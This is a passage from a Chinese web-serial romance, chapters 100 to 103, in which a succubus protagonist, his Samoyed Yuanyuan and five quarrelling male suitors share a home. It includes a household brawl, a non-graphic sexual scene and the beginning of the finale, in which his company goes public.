圆圆还频繁回头看叶临,眼睛里流露出失落和不舍,看起来很可怜。 叶临心软,连忙跟上去,想要把圆圆买下来自己养,免得跟梁文乐吃苦。 梁文乐一反常态,不再说话,全程沉默,像是听不见他的要求。 圆圆感觉气氛压抑,垂着头,耳朵都耷拉下去,小声地叫唤。 它不喜欢梁主人和叶主人吵架,希望像以前一样去草地上玩耍,还能吃到美味的小零食。 很快就到了小区门口,这一片都是刚需型住宅,每个住户的面积有限,根本没有大型犬可以活动的空间。 圆圆以前都是养在有大草坪的别墅里,住在这种地方,确实是受苦了。 叶临越看越难受,就想去抢牵引绳,结果被避开。 “圆圆是我的狗,我不会卖给你!” “可是你现在” 叶临没有把梁文乐过得凄惨的现实说出来,总感觉现在的梁文乐像个易碎的瓷器,稍微用力就会粉身碎骨,下意识地会慎言。 梁文乐看出他的意思,顺着说下去:“过得很惨是不是?那你心里好受了吗?” 像是一个罪犯将匕首交给受害者,希望得到千刀万剐,这样良心才能安。 他先伤害了梁文乐,后面又被梁文乐报复,恩恩怨怨,互相计较,什么是个头。 叶临蹲下来摸摸圆圆的头:“你把圆圆给我养,我就同意你去梵星宣传部工作,平时你也可以来我家看圆圆。这种小地方,圆圆住着难受。” 梁文乐总算听到了自己想要的答案,于是把牵引绳递给叶临,嘴上还要逞强:“行吧,你每天都在家的吧,我要随时检查圆圆有没有被你虐待。” 叶临无奈地摇头:“我怎么会虐待它,心疼它还来不及呢。” 他跟梁文乐说了一些无关紧要的话,就牵着圆圆回去。 考虑到现在的经济状况困难,还给人事部的人发消息,要求给梁文乐的初始待遇高一点。 人事部立即拟好合同,发给梁文乐,欢迎他次日来公司报道。 可是入职这件事,很快就遭到了沈邵和顾柘的反对。 叶临带着圆圆回家当天,就被沈邵和顾柘追问梁文乐的事情,楚诏也在旁边助力。 而顾嘉致怕挂科,暂时要在外面呆一段时间,并不在家。 顾柘:“梁文乐不符合公司的招聘要求。” 沈邵:“是啊,总不能因为你和梁文乐的旧情,就给他特殊待遇,其他员工会多想的。” 楚诏:“是啊是啊!” 圆圆感觉到这几个男人的排斥,连忙躲到叶临背后,小声地呜咽。 叶临连忙蹲下来,安抚圆圆的情绪:“你们对梁文乐不满,别吓到我的狗,不然我把你们赶出去!” 狗就像是小孩子,来到这个家里,会增添温馨的气氛。 沈邵:“那倒不会,叶临你想养狗养猫都可以,我只是觉得梁文乐入职梵星不合理。” 顾柘:“没人会反对一只狗,都在反对梁文乐。” 圆圆可怜地呜咽,缩到叶临的怀抱里,像是被欺负了。 叶临心里窝火:“梵星是我说了算,我要招谁就招谁。再说了,那天宣传部长很喜欢梁文乐,说明他本来就符合宣传部的要求。 而且,梵星的启动资金就是梁文乐给我的,说起来梵星也有他的一份,进梵星很正常。” 沈邵这才想起旧事,梵星最开始很艰难,叶临的钱大部分还都是从梁文乐那里骗来的,追究起来也不占理,而且激怒叶临只会适得其反,暂时闭嘴。 顾柘:“公司运营遵循客观规律,不能完全依照你的意愿,梁文乐就是不能进梵星!” 楚诏也嗅到了火药味,不敢乱站队,就学沈邵。 叶临朝着顾柘走过去,用力戳他的心窝:“不让梁文乐进公司,是你的私心吧。我还没忘记你当初骗我呢,不想干就趁早辞职,梵星没有你照样能转!” 顾柘语塞,身上的嚣张气焰很快消失。 圆圆跑到叶临和顾柘之间,伸出前爪分别拍拍他们的鞋面,还轻轻地叫。 这是它以前听到梁文乐和叶临吵架,用到的好方法。现在看到有人吵架,也会条件反射地劝架。 顾柘顺势蹲下来,摸摸圆圆的头:“算了,随你。这只狗叫什么名字,还挺乖的。” 叶临:“它叫圆圆,以后都会住在家里,你们要好好照顾它。” 沈邵:“那是当然。” 楚诏也蹲下来跟圆圆玩,他发现这只小狗还挺喜欢自己的,于是拿出玩具来逗。 自此,圆圆凭借自己的可爱,成功俘获三个佣人,过上了快乐的生活。 梁文乐入职后,就被宣传部当成了免费的广告模特,让他穿上各种服装配合拍广告,投放到网络上。 有款游戏就是借着梁文乐的脸,吸引了很多玩家来氪金。 他那张脸被广大网友称为建模脸,360度无死角的好看,天生的游戏宣传大使。 闲暇时间,他会跟叶临约好去公园遛圆圆。他每次都没提以前的事,都是在说当下。 有时候是工作上遇到的麻烦,有时候是梵星的宣传成绩。 有圆圆在场,叶临都会给梁文乐好脸色看,一开始不愿意说话,后面也愿意聊。 二人的关系有所缓和,不再剑拔弩张,而是像寻常朋友。 圆圆住进大平层后,心情变得格外好。这里有足够大的空间给它奔跑撒欢,每天拆家也不会被骂,还有人帮忙收拾清理。 男人们就会轮流照顾圆圆,帮圆圆做好吃的狗饭。 圆圆肚子饿了,就会跑去扒拉沈邵的膝盖,要求吃好吃的饭。 如果觉得无聊了,就会跑去咬楚诏的裤子,要求陪它出去玩。 当然,它捣蛋碰碎东西,就会警惕地看向四周,确认没有顾柘在,这才安心地继续撒泼。 这天,它发现家里只有叶主人一个,还躺在沙发上玩手机,于是跑过去汪汪叫。 叶临顺手就扔给它零食,嘴里嘟囔着:“怎么过去这么多天,梁文乐还没来看你,是不喜欢你了吗?” 圆圆埋头吃零食,没有答复。它这段时间,有五个人伺候自己,都快忘记跟梁主人的苦日子。 叶临打开手机,询问宣传部的部长,发现梁文乐最近忙着出差拍广告,像个大明星,就去搜他广告。 不得不说,社会还是看脸的。梁文乐化妆打扮一番,在网上就有很多粉丝。 “怎么又喂它吃零食,这样对身体不好。” 刚回家的顾柘走过来,顺手把圆圆没吃完的半块零食拿起来丢进垃圾桶里,急得圆圆围着垃圾桶转圈。 叶临啧了一声,又要去拿新零食:“有什么不好的,我挑的零食都是没有危害,它想吃就吃。” 聪明的圆圆刚进入这个家,就知道顾柘不好说话,着急也不敢乱叫,只是扒拉叶临的膝盖,要求再吃。 顾柘蹲下来用手测量圆圆的粗脖子,无奈地摇头:“再吃下去,就要超过正常体重,身体负担过重会不好,以后要多带它出去运动。” 叶临听宠物医生说过这个,赶紧把圆圆抱起来,忍不住感慨:“圆圆,你个大馋狗就知道吃,重了好多。” 顾柘轻笑一声,抬手去揉圆圆的脑袋:“还不都是你总爱喂零食。” 叶临立马狡辩,先是怪罪沈邵做的狗饭太好吃,又怪楚诏太盲没去遛狗,最后怪顾柘监管不严,总之他一点错都没有。 顾柘早就习惯他的无赖性子,全当是自己的错,拿出牵引绳:“刚好我现在有空,下去遛它吗?” 圆圆看见牵引绳,就知道可以出去玩,立即兴奋起来,汪汪汪地大叫。 叶临把超大号煤气罐放下来,跟着顾柘朝着玄关处走去。 门铃却突然响起来。 顾柘去开门:“你的外卖,还是快递?” 话音刚落,门口就站着梁文乐。 还是提前化妆打扮过的,染着粉金色的头发,鼻子中间有创可贴,眼睛红红的,看起来像是刚哭过,楚楚可怜。 圆圆看见旧主人,还是会扑过去绕着膝盖转,疯狂甩尾巴,还激动地叫起来。 叶临:“你怎么来了?” 梁文乐蹲下来摸狗:“来看圆圆。” “坏狗,想不想我啊?” “汪汪汪汪!” 往常他都是跟叶临线上约好,在公园见面看狗,今天是第一次上门。 叶临措不及防,下意识地看向旁边的顾柘,果然脸色很难看。 与此同时,顾嘉致的声音出现在楼道里。 他拎着书包走到家门口,见到这一幕,都没有心思跟叶临吐槽期末考试的难度,连忙冲到梁文乐跟前质问。 “你怎么来了!” 第 101 章【VIP】 第101章 第101章“全都给我滚出去!”…… 梁文乐看到旁边的顾嘉致就想嘲讽,但他考虑到自己如今的处境,还是忍着没出声。 顾嘉致质问:“你怎么让他上门?” 叶临原本还在想怎么处理好这三人的关系,听到顾嘉致理直气壮的质问,怒火升腾,用力推他的肩膀。 “顾嘉致你什么意思,我爱让谁上门就让谁上门!” “就是,这里是叶临买的房,又不是你家。”梁文乐顺着圆圆的毛发,阴恻恻地来了一句,真实的神情藏在粉金色的头发之下。 顾嘉致被他刺了一道,扭过头去看梁文乐:“你还不知道吧,我跟叶临已经领了结婚证,有权决定客人是谁。” 梁文乐绷不住,仰头去看他,眼睛里掺杂着仇恨和嫉妒种种情绪,表面却是平静:“哦,原来叶临真跟男人相爱,跟男人结婚了。” 叶临听到这句话无异于要当众出柜,莫名地羞。耻难堪,连忙否认:“假的,一张结婚证不能说明什么。这里还是我说了算,进来吧。” 顾嘉致语塞,懊悔自己当初看见梁文乐重病住院,就不应该心软帮忙传话,该掐死梁文乐才对。 梁文乐起身,刚要往里走,就被沉默的顾柘拦住,不由得看向叶临:“看来,有两个人不支持你的决定。” 他没有说顾嘉致和顾柘反对他做客,只说他们不支持叶临,也就是不尊重。 叶临哪里能忍,赶紧去推顾柘:“让开!” 顾柘犹如一堵墙挡在面前,坚如磐石,轻易将他拽进怀里问:“梁文乐之前是怎么对你的,你都忘记了吗!” 顾嘉致被点醒,赶紧帮腔:“就是,你被他害得多惨,现在还要跟他有瓜葛,不怕重蹈覆辙!” 梁文乐也不敢回忆海上暴雨夜,心虚地握紧手心。 叶临想到海上的半个多月,每天每夜都跟梁文乐纠缠不清,连人形都难以维持,心情复杂。 走廊寂静无声,四人之间陷入诡异的平衡。 圆圆听不懂他们在吵什么,只想出去玩,于是绕着他们的腿转圈,汪汪汪地叫个不停。 可是没有人搭理小狗。 圆圆很委屈,于是挣脱牵引绳,朝着电梯门的方向跑去。 叶临赶紧叫它的名字,梁文乐率先追出去。 圆圆速度太快,已经跑进电梯里,梁文乐和叶临同时冲进去,电梯门很快就合上。 梁文乐顺手就按了一楼的按钮,没有给顾氏兄弟赶上来的机会。 叶临忙着弯腰教训圆圆,都没注意到电梯的楼层数。 “笨蛋圆圆,你品相这么好,跑出去马上就会被狗贩子偷走。” “嘤嘤嘤。”圆圆垂着头,粉色的三角耳朵微微闭合,小声哼唧,表示委屈。 叶临不舍得教训,用力揉它的头,还哄了好几句。 圆圆又笑起来,还冲着梁文乐吐舌头,汪汪汪地叫。 梁文乐:“圆圆就是这样,知道你会溺爱它,就会装可怜。” 叶临:“看来挺聪明,就是太淘气了。” 这时手机铃声响起,是顾嘉致和顾柘同时打的电话,下意识地接了后者。 “你在哪里?” “我跟梁文乐出去遛狗,你们就知道吵吵,烦死了!” “去哪里遛狗?” 叶临脑子里闪过熟悉的地名,正打算说出来,却被梁文乐抢先问。 “你现在出门都需要跟顾柘报备行踪吗,感觉不太自由?” 顾柘求着他才能住在家里,怎么能限制他的人生自由呢,更别说报备行踪。 叶临很爱面子,迅速挂断电话:“那当然不用,顾柘现在可听我的话了,像仆人一样。” 梁文乐笑起来,就像叶临从前讨好他那样,自然而然地说出恭维的话:“那你现在真厉害,是成功人士了,能管大公司,在家里还有人伺候。” 叶临点点头,跟他谈梵星的发展情况,以及自己付出多少努力,感慨岁月如梭。 他们坐车去附近的公园遛狗,话题全程都围绕着叶临的事业和人生理想开展。 梁文乐耐心地听他吹嘘,还会时不时给出适合的点评。 二人之间的地位已经逆转,从前是叶临求着他的钱,现在是他求着叶临的爱,自然要做出钦佩顺从的姿态。 听到叶临想在海外上市的时候,梁文乐眼睛一亮,若有所思,慢慢地将自己优势说出来。 “我在海外认识很多人,上市的事可以帮你。斯菲交易所的审核严格,有人引路会顺利很多。” 梁文乐在海外有广阔的人脉,可以在上市这件事提供巨大的助力。 哪怕他现在离家出走,出国求母亲那一脉的亲戚,也能够得到回应。 叶临有些心动,可是又犹豫不决。 梁文乐借机握住叶临的手,柔声道:“我想帮你,就当是弥补。而且,我现在无家可归,只能依靠你。你好,就是我好。” 他的那双眼睛漂亮得像是玻璃珠,五官精致得过分,长发披肩只会是绝世大美女,说些软话就像是跌进棉花海里。 叶临后知后觉地发现,从前他愿意纵容讨好梁文乐,不仅仅是因为钱,还有一部分原因是脸。 不然他听见梁文乐绝食,怎么会害怕梁文乐饿死。半夜看见梁文乐过敏,怎么会冒雨去找药。 在他潜意识里,梁文乐就是柔弱不能自理,千娇万宠的金枝玉叶,吃不了一点苦。 梁文乐的混血长相趋向于漂亮,要是红着眼睛哭,就会引起直男的保护欲。 叶临在心里这样说服自己:好吧好吧,是梁文乐要倒贴,就别怪他利用。 “行,以后梵星上市,也有你的一份。” “好。” 顾嘉致和顾柘找了很久,都没有发现叶临和梁文乐的踪影,电话都不接。 到了傍晚,顾嘉致才收到消息,已经回家。 之前在电梯,叶临只接了顾柘的电话,现在也只回他消息,算是扯平*。 顾嘉致不再吃顾柘电话的醋,朝着家里赶。 沈邵下班后,久违地看见梁文乐坐在沙发上跟叶临聊天,就预料到这家伙很快会入住。 顾嘉致和顾柘应该是在家的,但是都没有成功阻止梁文乐进屋。 那叶临心里应该是有梁文乐一席之地,现在上前去说赶人的话也不好。 圆圆闻见沈邵的气息,立即朝着他跑过来,先是绕着他的腿转圈,再跑到厨房门口叫,仿佛在说“我要吃饭!” 沈邵知道它的想法,无奈地走过去摸它的头:“好了好了,马上帮你做饭。” 叶临看见沈邵,立即冲他招手示意:“你把梁文乐的饭也做了吧。” 沈邵走过去,脸上始终维持着笑意,目光扫过精心打扮的梁文乐:“是文乐啊。” 梁文乐礼貌性地微笑:“麻烦了,我不挑食。” 曾经互为死敌的两个人面对面,只有无声的战火。 他们恨不得对方死,但此刻都要为了叶临演戏,维持体面。 叶临把圆圆抱起来逗,想到沈邵一个人在厨房忙不过来,就发消息给其余三个人,要求他们回家帮忙。 沈邵在叶临旁边坐下来,抬手去逗圆圆:“它喜欢吃我做的饭,每天早上都会粘着我,都想带去公司,又怕影响工作。” 叶临无奈地摇头:“那还是算了吧,圆圆太淘气了,去公司只会捣乱。” 沈邵轻声回应:“听你的。对了,公司下个季度打算进驻电商,你看怎么样?” 叶临点点头:“可以啊,找些会说话的人直播吧,大家更爱买。” 梁文乐在旁边听着,就知道沈邵在故意给自己下马威,炫耀他和叶临的亲密无间。 这可难不倒他,不就是谈正事。 梁文乐靠近叶临的另外半边肩膀,轻声说道:“直播需要露脸吧,我这张脸肯定吸睛。” 叶临深有同感,开始跟他讨论现实世界里的直播套路,认为梁文乐适合卖所有时尚的东西。 这回又变成沈邵插不上话,在旁边被冷落。 此时,另外三个人都回到家里,马上加入这场战争。 直率的楚诏先出头:“你怎么邀请梁文乐来家里,你不是被他害得很惨吗?” 顾柘:“就是,牛都知道不吃回头草,你不知道!” 顾嘉致:“梁文乐现在也是变得心机深沉了,知道伪装。” 沈邵从不轻易站队,保持沉默,观察局势变化。 梁文乐的手原本是搭着叶临的肩膀,现在缓缓放下来:“原来这里不是你说了算,那我出去吧。” 他的神情哀伤,动作惹人怜,说出话却是在故意拱火。 叶临像是被架在高坐上,急于证明自己的实力,大声宣布:“搞清楚,我才是房主,我想邀请谁就邀请谁!” 沈邵看穿梁文乐的拙劣技俩,心里在冷笑,面上附和:“当然是叶临说了算。文乐,看你说的,好像很不相信叶临能买得起豪宅。 两年过去,今非昔比,你以为他还是从前那个在你旁边赔笑的叶临吗?” 梁文乐被精准攻击,恨不得冲上前再把沈邵打进医院,现在也只能反驳“我没有!” 叶临想起屈辱的旧事,心里顿时不痛快。 梁文乐害怕他记仇,连忙解释:“叶临,过去的事情已经过去了。” 顾嘉致:“那可不是,以前你跟叶临恋爱的时候,还老是在我面前骂他蠢货。” 梁文乐再也忍不住,站起来指着顾嘉致的眉心骂:“你以为自己很好吗,你当初说他不干净,还劝我早点分手!” 顾嘉致立即朝着梁文乐的脸打了一拳,再次细数他从前的恶行,对方也不甘示弱。 顾柘白了一眼,趁机嘲讽:“两个都是虚伪的废物,还好意思在这里丢人现眼!” 沈邵冷笑:“顾柘,你怎么好意思把自己摘出去。你以前嫌弃叶临烂,还想威胁他离开顾嘉致!” 顾柘揪住他的衣襟:“你在这里装什么好人,你一开始不就纯粹想追求刺。激,利用叶临!” 楚诏见他们混战,赶紧走到叶临旁边说好话。 顾柘听见他那个谄媚的语气就厌恶:“楚诏,你又觉得自己最干净了,实际上你最开始骂叶临是无赖!” 楚诏也不服气,加入战局。 圆圆害怕地缩进叶临的怀里,瑟瑟发抖。 叶临把圆圆抱进房间里,迅速走出来。 他这次没有劝架,冷着脸拿起柜子上的酒瓶子,朝着五个男人砸去。 酒瓶砸在身上,会有玻璃碎片扎入肉里,疼痛且难以祛除。 啪嚓几声,五个人都被酒液淋湿,安静下来。 每个人的脸,胳膊都嵌入玻璃碎片,不断地抽疼。 叶临拿出打火机,幽蓝色的火焰将他半张脸照亮,茶褐色的瞳孔里有活蛇在舞动,有种妖冶的美感。 “全都给我滚出去!” 众人还想说好话,劝住叶临,却听见令人骇然的声音。 “不滚的话,我就点火了。到时候毁容残废,我不会负责,只会嫌弃。你们这群混蛋,全都该死!” 最先冷静下来的是顾柘,他从未在叶临眼里看到如此强烈的恨意,只好朝着门口走去。 其次是沈邵,他也明白叶临此刻的心情,不能随意激怒,道歉一声也跟着出去。 梁文乐自然不傻,走出去还掉两滴眼泪试图博取可怜。 顾嘉致试图劝说:“叶临,你听我解释。” 叶临没用打火机,而是将玻璃杯砸在顾嘉致的脸上:“你也给我滚,最烦的就是你!” 顾嘉致捂着脸,也不敢说话,连忙往外走。 楚诏欲言又止,但他看到顾嘉致的下场,也不敢赌。 客厅里总算恢复安静,充斥着浓烈的酒味。 叶临把大门反锁,避免他们从外面进来,站在玄关处久久没动。 忽然听见圆圆的叫声,于是跑进房间里抱住这只胆小的萨摩耶。 圆圆窝在叶临的怀里,慢慢地安静下来,还示意自己要吃饭。 叶临不会做狗饭,只能给它喂狗粮,无奈地叹气。 手机里冒出很多消息,不用看都知道是哪些人发的,又说了什么话。 烦躁,难受。 叶临抱紧圆圆,轻声问:“圆圆,你说我为什么会遇到这五个混蛋呢?” 圆圆睁着大眼睛,疑惑不解。 叶临把这五个的罪行都细数一遍,给每个人都安排了死法,心里才痛快。 圆圆都听困了,闭上眼睛呼呼大睡,是只无忧无虑,有人宠爱的幸福狗。 叶临把它放进狗窝里,想到那五个讨人厌的男人,忍不住嘀咕:“好像我也不是什么好人。” 如果他是老实本分的善良好人,面对五个混蛋,早就被伤得体无完肤了。 还好他睚眦必报,薄情寡义,才能在这场残酷的爱情较量里,永远占据上风。 三天后。 五个人还是站在门口等着,不敢离去。他们都给叶临发了道歉的消息,以及各种保证书。 身上的伤还没处理好,也没有摄取足够的能量,各个脸色苍白。 其实可以轮流蹲守,但这五个人就是要较劲,都不肯走,生怕错过叶临开门。 精神已经开始涣散,物业来劝他们离开,但他们偏要呆在门口,赌叶临的心软。 时间一点点地流逝,都快站不住。 天黑时,门终于打开,透出温馨的光。 叶临站在门口,冷脸注视着他们几个。 五个人纷纷聚过去,跟他道歉,保证下次不会再犯,乞求给个机会。 叶临扫过这群虚弱,担惊受怕的男人,就像是在看几只病狼。 “以后做不到和平共处,我都不要。” 众人异口同声,都是肯定的答复。 叶临这才让出位置,方便他们进屋,早就提前预约了家庭医生上门包扎治病。 这三天里,他回忆书外的二十年,也回忆书里的两年,最后选择顺其自然。 就当是做件好事,由他栓住这五个坏蛋,不让他们去祸害别人。 后来,他们果真和平共处了很多年。 第 102 章【VIP】 第102章 第102章呆瓜人类,魅魔要吃饭 梁文乐靠着借宿的理由,赖在叶临家里一天,后面几天就顺理成章地住下来。 他想把房间装修成以前的样子,叶临怕他没钱,还补贴了很多钱。 毕竟在叶临心里,梁文乐的房间里所有物品都要精致奢华,还得有很多玩偶。 其余人都对此不满,但是看在叶临的份上,可以暂且忍耐梁文乐入住,成为家庭的一份子。 能接受,并不代表他们会在暗地里争风吃醋,争相较劲。 周日和周六的争端往往是最多的,每个人都能在叶临看不见的地方吵架,互相诋毁。 叶临知道他们之间的矛盾无法完全平和,但只要不在自己面前吵架,就不管。 他醒来就去落地窗前俯瞰城市全景,很快就有人凑到旁边。 有股淡淡的香味,像是花香混合了果香,不用偏头就知道是梁文乐。 梁文乐抓着叶临的胳膊,轻声抱怨:“这几天网上好多人骂我。” 叶临知道这事:“人红是非多,屌丝们嫉妒你才会骂你,别管他们。” 梁文乐趁机要好处:“那你今天晚上陪陪我,我心情就好了。” 顾嘉致跑过来推开梁文乐:“叶临答应我了,今天晚上陪我。” 沈邵轻笑一声:“顾嘉致,你不去查期末成绩吗?” 提到这件事,顾嘉致的脸色凝重,而梁文乐激动地催促。 叶临也有种隔岸观火的感觉,推推顾嘉致的肩膀:“对啊,快查成绩。” 顾嘉致不想面对事实,连忙找借口推拒:“我们学校的网站不好,现在查容易卡,待会儿再说。” 楚诏好心地把电脑搬过来:“我帮你查,什么网站在我眼里都不是问题。” 顾嘉致按住电脑:“现在不查,后面我自己查!” 梁文乐:“别啊,就现在查。” 顾柘走过来,瞧见顾嘉致的样子就明白了一切:“不用查了,肯定挂科,他才不敢查。” 沈邵:“那就要补考,我给你批长假,先去好好上学。” 楚诏:“是啊,还是拿到毕业证要紧。” 梁文乐则是不怀好意地笑起来:“挂科要补考,好惨!” 叶临听他们这样说更加好奇,抓住顾嘉致的手:“撒开,我帮你查呗。你不查,他们只会笑得更开心。” 顾嘉致愤怒窘迫,又心存侥幸,于是松开手,让叶临打开电脑。 其余人都被他赶到电脑对面不许看,而他坐在叶临旁边紧张地蹲守。 叶临按照他说的方法,输入学号和密码。 楚诏的电脑都经过特殊处理,成绩页面瞬间就冒出来,丝滑如奶油,毫无卡顿。 顾嘉致的余光瞥见5,就吓得扭头不敢看,小声问:“多少?” 叶临指着上面的一排数字,按照顺序念下去:“58,87,57,59,56” 顾嘉致感觉自己浑身的血液都凉了,连忙阻止叶临念:“别念,别念了!” 叶临全看了一遍:“你成绩也没多好嘛,只有外语考了87,其余都是不及格。” 梁文乐凑过来看屏幕,故意强调:“我去,顾嘉致你挂了九科啊,连公选课都挂,你下学期完蛋了!” 顾柘:“早就料到了,谁让他考前不认真复习,尽想些龌龊的事情。” 沈邵:“你们学校补考是什么时候,来得及准备吗?” 楚诏:“感觉现在复习都够呛。” 顾嘉致受了巨大的刺激,立即把电脑合上:“胡说八道什么,我都能补考过的!” 顾柘:“做梦吧,梦里什么都有。” 沈邵:“挂九科,某种程度上也是个人才。” 梁文乐毫不客气地捧腹大笑:“这样吧,你今天就搬出去,直到考过再回来好吗,笑死我了!” 其余几个都是学霸,怼不了,顾嘉致就选择梁文乐:“你笑什么笑,你过了吗!” 梁文乐:“我现在是学艺术的啊,而且我很有天赋,平时不需要去上课,也不需要担心期末考试。” 事实上在场六个人里,只有顾嘉致备受学习的煎熬,人生就显得非常可悲。 顾嘉致咬牙切齿,按紧笔记本电脑的背面,想反驳却找不到理由,只能生闷气。 叶临特别懂这种感觉,轻轻地拍顾嘉致的肩膀,安慰他:“你现在好好复习,只要补考过了就好,你每科距离60分也很近了。” 顾柘总能适时地泼冷水:“现在的五十多分应该是老师好心帮他把平时分拉到100分才凑到的,补考可没有平时分,要想考过,非常困难。” 沈邵点点头:“对啊,我听说你们学院的老师挺仁慈的,应该很努力地帮你找分了,还是很遗憾考不过。” 梁文乐得意大笑:“哈哈哈哈,你真的好废,让我看看平时分是不是100!” 顾嘉致连忙捂住分数细则的部分,不想让人拿到把柄。 叶临却及时看到,难以置信地问:“真的都是100分哎,那沈邵说的对,你们老师已经很努力地帮你了。” 楚诏:“老师再努力,也抵不过学生废物啊,谁让他不好好复习。” 大家都以顾嘉致挂科当做乐子来笑,心情愉悦,暂时没了争斗的意思。 叶临笑了一会儿,发现顾嘉致的脸色非常难看,只好停下来鼓励他:“你别难过,都能学好外语,现在努力,肯定能补考过的。” 顾嘉致退出学习网站,站起来看向嘲笑他的众人,像是中二少年在看实力强大的反派:“你们等着吧,我九科都会考过的。从今天开始,我要呆在书房里学习,谁都不许来打扰!” 大家都安静了片刻,又开始疯狂嘲讽。 顾嘉致不理会他们,毅然决然地走向书房,就像个悲壮的刺客,奔赴自己的末路。 补考迫在眉睫,过不了就得重修上课,哪有时间跟叶临相处,必须尽快解决。 叶临担心顾嘉致的复习,还特别制定了新规,希望每个家庭成员都能帮助顾嘉致,营造良好的学习氛围。 然而天不如人意,平时不上课努力,临时抱佛脚,并不能创造奇迹。 补考只过了两科,下学期就需要重修七科。顾嘉致的职位暂时悬空,被放了长假,要求好好学习。 重修七科,再加上本来的科目,顾嘉致的时间变得非常紧张,通常一星期只有一天空闲时间。 他再次搬回学校附近的公寓,等轮到自己的周三再去找叶临,其他时间都在学校图书馆,励志要花一学期修完学分,变成真正的大人。 梵星的规模持续扩大,很多投资商都慕名而来,渐渐地成为业界的标杆。 顾氏夫妇得知大儿子在外面做出成绩,也没有多干预。 毕竟商人最重利益,能够创业成功的富二代屈指可数,顾柘已经很不错了。 梁文乐为了忙上市的事情,长时间呆在国外,而顾柘为了配合他,也得过去。 梵星的业务增多,担子一下就落到沈邵身上,忙得不可开交,需要频繁出差,联系各地的合作伙伴。 叶临的日子照旧,只不过少了人陪伴,总归是有点无聊。 他今天本来想跑去顾嘉致的公寓,结果却感觉到熟悉的热意,连忙拿出手机联系沈邵。 眼下顾嘉致忙着去参加竞赛补学费,而顾柘和梁文乐出国,楚诏应该也是忙的,就沈邵能帮他补充饥饿值。 【饥饿值快满了,速回!】 沈邵收到消息的时候还在外地跟人谈生意,哪怕坐飞机都赶不回去。 他听叶临说,只要饥饿值满了,就会神志不清跑出去找男人,到时候很难办。 没办法了,只能给楚诏发消息。 楚诏就在公司,收到沈邵的消息,就马上往家赶。 沈邵告诉他必须阻止叶临出门,至于为什么,见面就知道了。 体温越来越高,吐息都是灼热的,视线不清,脑子像是浆糊。 叶临感觉自己坐不住,快要跌下沙发。 算下来,这段时间大家都太忙了,他没有机会补充。 【饥饿值98%,请宿主尽快补充能量。】 叶临还想拿起手机,可是都握不住,手机滑落到地毯。 他慢慢地失去意识,脑子里只剩下男人,以及补充能量。 魅魔环顾四周,没有发现男人的气息,立刻跑到玄关处,打开门把手。 楚诏刚出电梯,就看见叶临走出门口,姿态奇怪,连忙跑过去。 到了跟前才看清楚,叶临的头上长着两个角,身后垂着根长长的尾巴,眼神迷离。 魅魔太饿了,看见男人就扑过去,踮起脚催促:“要,要亲。” 他的声音轻轻柔柔,像是在撒娇。 楚诏的耳朵都酥了,连忙把他抱起来亲,朝着房间里走。 “你怎么穿成这样样子,还跑出来?” “要,要吃,吃” 魅魔用自己的小手抓住,大胆直白地表露自己的诉求,要求人类喂食。 楚诏哪里经得住这种撩拨,耳垂红得滴血,连忙按住他:“叶,叶临” 魅魔发现人类不配合,生气去咬住他的肩膀,抱怨着:“笨蛋人类,我饿了,要吃饭。” 楚诏想去摸他头发,却发现是真实的角,顿时有了奇异的感觉。 他玩过很多款游戏,叶临的这个模样非常接近魅魔。 脑子里产生了猜想,就会去抓住尾巴,是从尾椎长出来的真实尾巴。 “沈邵让我赶紧回来,是因为你会变成魅魔吗?” “好饿,要吃饭!” 魅魔得不到回应,心情越发地暴躁,开始摇晃楚诏的肩膀,撅嘴骂道:“为什么不喂我,讨厌你!” 楚诏连忙去亲他,低声询问:“是这样吗?” 魅魔心情愉悦地晃了晃尾巴,揽住他的脖子,吐出热息:“还要!” 楚诏满足他的要求,朝着主卧走去,手上也没有空闲。 魅魔发现今天的人类非常笨拙,于是热情地教导他,该怎么讨好自己,喂美味的食物。 一旦楚诏做对,魅魔就会小声哼唧,微微张嘴。 “你是我见过最笨的人类!”魅魔坐在楚诏的怀里,如实评价,又拍拍他的头:“呆瓜!” 楚诏被他拿去跟别人比较,吃醋的同时又心痒,想让这只骄傲的魅魔知道自己的厉害。 “谁是你见过最厉害的人类,说啊?” “嗯脸上有疤的,特别凶,可是每次都能让我吃得好饱。”魅魔记不住这些男人的名字,小小的脑袋里只有细微的特征。 “那谁最差劲?”楚诏心里已经有了答案,突然攻击,迫使对方缩进他的怀里,寻求庇护。 “香香的,他身上有花香和果香。虽然吃的不好,但我喜欢香味。”魅魔回味着天然的味道,又催促人类快点。 “我呢?”楚诏捏住魅魔的脸质问,希望得到个公正的评价。 魅魔吃到美味,哪里还有心情回答,专心享受。 楚诏恨他无情,又因为爱没办法凶狠。 过了好一会儿,叶临才回过神来。 他看着眼前的楚诏:“怎么是你!” “那你以为是谁!?”楚诏脾气好,但并不代表是个任人欺负的怂货,魅魔没回答的问题,就会抛给叶临。 “唉呀,就是那些人喽,还问!”叶临不耐烦地回他。 楚诏很想欺负叶临,让他哭得再也说不出气人的话,可心太软了,每次都会饶过叶临。 最后,他只是抱着叶临询问:“是不是,只有我不知道你的秘密?” 叶临点头了,又找很多借口敷衍他,希望他保持秘密,别说出去。 楚诏心里空落落的,他听出来,其余四个人都知道叶临是魅魔,就他不知道。 倘若今天不是事情紧急,可能他永远都不会知道真相。 叶临跟这些人相处久了,多少知道他们的脾性,看见自己的得力技术员工伤心,还是会出声安慰。 “就是怕你不能接受,我才没说。正常人谁能接受魅魔,我还怕你把我送去实验室。” “我都能接受跟他们共处,怎么可能不能接受你的魅魔身份!” 楚诏几乎是吼出来,看见叶临惊讶的表情,又担心他被吓到,连忙补救:“我不是有意凶你,只是心里难受。” 叶临扪心自问,楚诏算是最听话省事的一位,而且也是他主动招惹的,总不能把人欺负得太狠。 他主动去亲,低声道:“那这几天就你陪着我好了,反正我这个形态要很久才能解除呢。” 楚诏听到能陪着叶临,立即就被哄好了:“那你觉得我怎么样?” 叶临抬起手指去触碰,描绘出轮廓,轻声暗示:“你哪里都好,尤其是这里” 楚诏再难忍耐,只想跟心爱之人共赴极乐。 第103章【大结局】 第103章 第103章大结局 梵星在菲斯交易所上市的消息传开后,各路人马都跑来奉承叶临。 恰逢利好互联网的政策,股价也一路飙升,成为投资市场里耀眼的新星。 叶临现在出门,都会莫名其妙地遇到声称十年不久的老同学和很久不联系的亲戚,脑子里又毫无印象。 从前他是叶家见不得人的私生子,如今倒成为了年少成名的叶总,坐拥庞大的商业集团。 就连叶家都派人来找他,希望能够跟梵星合作,愿意把他加进叶氏家族成员里。 攀关系的人数不胜数,但他都不想搭理,只是专心购物。 